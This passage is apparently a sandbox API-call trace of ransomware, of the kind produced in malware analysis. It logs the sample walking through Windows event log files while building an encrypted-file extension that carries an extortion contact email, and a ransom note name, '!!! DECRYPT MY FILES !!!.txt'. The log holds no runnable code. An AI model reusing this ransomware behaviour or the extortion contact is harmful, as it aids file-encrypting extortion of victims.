hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0103.850] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-bits-client%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 1 [0103.850] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx") returned 0x39 [0103.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.850] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.850] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.850] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.851] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0103.851] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", len=0x47 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx") returned 1 [0103.851] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cchLength=0x47 | out: lpsz="c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx") returned 0x47 [0103.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.851] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.851] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.851] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0103.851] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-coresystem-smsrouter-events%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 1 [0103.851] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx") returned 0x39 [0103.851] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.852] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.852] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.852] GetProcessHeap () returned 0x630000 [0103.852] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0103.852] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0103.852] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx", psz="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx") returned 1 [0103.852] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx") returned 0x38 [0103.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.852] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.852] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.852] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.853] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0103.853] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-crypto-dpapi%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", len=0x56 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx") returned 1 [0103.853] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cchLength=0x56 | out: lpsz="c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx") returned 0x56 [0103.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.853] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.853] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.853] GetProcessHeap () returned 0x630000 [0103.853] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1418, Size=0x10) returned 0x6b12b0 [0103.853] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0103.853] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-devicemanagement-enterprise-diagnostics-provider%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", len=0x38 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 1 [0103.853] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cchLength=0x38 | out: lpsz="c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx") returned 0x38 [0103.853] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.854] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.854] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.854] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.854] GetProcessHeap () returned 0x630000 [0103.854] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x14) returned 0x6b0338 [0103.854] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0103.854] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", len=0x3e | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 1 [0103.997] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cchLength=0x3e | out: lpsz="c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx") returned 0x3e [0103.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.997] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0103.998] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0103.998] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0103.998] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0103.998] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", len=0x31 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 1 [0103.998] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx", cchLength=0x31 | out: lpsz="c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx") returned 0x31 [0103.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.998] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.026] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.026] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.027] GetProcessHeap () returned 0x630000 [0104.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b13b8, Size=0x10) returned 0x6b1250 [0104.027] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0104.027] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", len=0x33 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 1 [0104.027] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cchLength=0x33 | out: lpsz="c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx") returned 0x33 [0104.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.027] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.027] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.027] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.027] GetProcessHeap () returned 0x630000 [0104.027] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0x14) returned 0x6b0398 [0104.027] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0104.028] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 1 [0104.028] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx") returned 0x39 [0104.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.028] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.028] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.028] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0104.028] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-diagnosis-dps%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", len=0x43 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 1 [0104.028] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cchLength=0x43 | out: lpsz="c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx") returned 0x43 [0104.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.028] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.029] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.029] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0104.029] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-diagnostics-performance%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 1 [0104.029] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx") returned 0x37 [0104.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.029] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.029] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.029] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0104.029] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", len=0x37 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 1 [0104.029] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx", cchLength=0x37 | out: lpsz="c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx") returned 0x37 [0104.029] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.030] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.030] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.030] CharLowerBuffW (in: lpsz="!!! DECRYPT MY 